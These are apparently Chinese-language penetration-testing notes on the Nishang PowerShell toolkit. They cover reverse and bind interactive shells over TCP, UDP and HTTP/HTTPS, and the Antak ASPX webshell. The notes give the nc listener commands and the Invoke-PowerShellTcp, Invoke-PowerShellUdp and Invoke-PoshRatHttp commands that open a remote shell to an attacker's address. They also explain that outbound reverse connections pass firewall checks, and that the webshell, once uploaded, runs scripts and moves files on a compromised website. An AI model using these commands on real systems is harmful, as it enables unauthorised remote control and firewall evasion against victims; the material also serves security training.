一、Powershell 隐藏通信隧道
1.基于TCP协议的 Powershell 交互式 Shell
Invoke-PowerShellTcp 是基于TCP协议的 Powershell 正向连接或反向连接 shell
IPAddress <String> //选择 -Reverse 选项时表示需要连接 ip 地址
Port <int32> //选择 -Reverse 选项时表示需要连接的端口,选择 -Bind 选项时表示需要监听的端口
Reverse //反向连接
Bind //正向连接
(1)反向连接
原理:攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机
使用 NC 监听本地 3333 端口(注意必须先监听,不然目标机上执行脚本会出错)。然后在目标机 Powershell 输入命令,反弹shell 到 攻击机的 3333端口(端口必须相同)
nc -lvp 3333
Invoke-PowerShellTcp -Reverse IPAddress 192.168.110.130 -Port 3333
(2)正向连接
原理:攻击了目标机,打开了目标机的一个端口,攻击者在本机去连接目标机(目标机 ip、端口)
目标机:监听 3333 端口 攻击机:连接目标机 ip、端口
此类木马主要在于攻击者必须和用户主机建立连接,木马才能起作用.一般的防火墙都限制外部对内的连接(防火墙会弹出警告)
如果连接是从防火墙内部网络到外部网络的连接请求,防火墙一般不进行过于严格的检查,因
此可以非常容易地通过防火墙
Invoke-PowerShellTcp -Bind -Port 3333
nc -nv 192.168.110.148 3333
(3)正向连接和反向连接的使用选择
- 目标机在外网,主机在内网:正向连接
- 目标机在内网,主机在外网:反向连接
- 目标机 和 主机 都在外界:两种方式都可以
2.基于 UDP 协议的 PowerShell 交互式 Shell
Invoke-PowerShellUdp 是基于UDP协议的 Powershell 正向连接或反向连接 shell
使用方式与 Tcp 协议差不多,只是 nc 命令不同(由于协议不同)
正向连接:nc -nvu 192.168.110.148 3333
反向连接:nc -lup 3333
查看包括 windows 和 linux 在内的各种命令解析,网站:https://www.explainshell.com
3.基于 HTTP 和 HTTPS 协议的 PowerShell 交互式 Shell
Invoke-PoshRatHttp 和 Invoke-PoshRatHttps 是基于 HTTP 协议和 HTTPS的协议的 Powershell 反向连接 shell ,两种脚本使用方式一样
Invoke-PoshRatHttp -IPAddress 192.168.110.148 -Port 3333 //HTTP
Invoke-PoshRatHttps -IPAddress 192.168.110.148 -Port 3333 //HTTPS
基于 HTTP 协议的脚本使用,通过 http 网址实现,在攻击机中输入脚本,生成一个powershell 命令,然后目标机在 powershell 中 键入 downloadString 命令下载到内存。之后攻击机 Powershell 下会返回目标机的会话 ,执行 ps 后提示成功
(使用普通权限 poershell 出错,换成管理员权限的 powershell 便可以运行)
将生成的命令复制到目标机的 cmd中执行,成功后命令行会自动消失(cmd仍运行在后台,powershell 也在运行,可从任务管理器中看到),然后在攻击机的 powershell 下会返回目标机ip为XXX的会话,执行ps命令后提示成功(感觉通道不是很稳定)
二、WebShell 后门
模块存放于 \nishang\Antak-WebShell 目录下,是一个 ASPX 的 “大马”,使用 powershell 的命令,比 cmd 命令要强大很多。可以使用这个 WebShell 编码执行脚本,上传、下载文件
本身是一个 WebShell ,上传到一个网站就已经算是拿到网站的权限了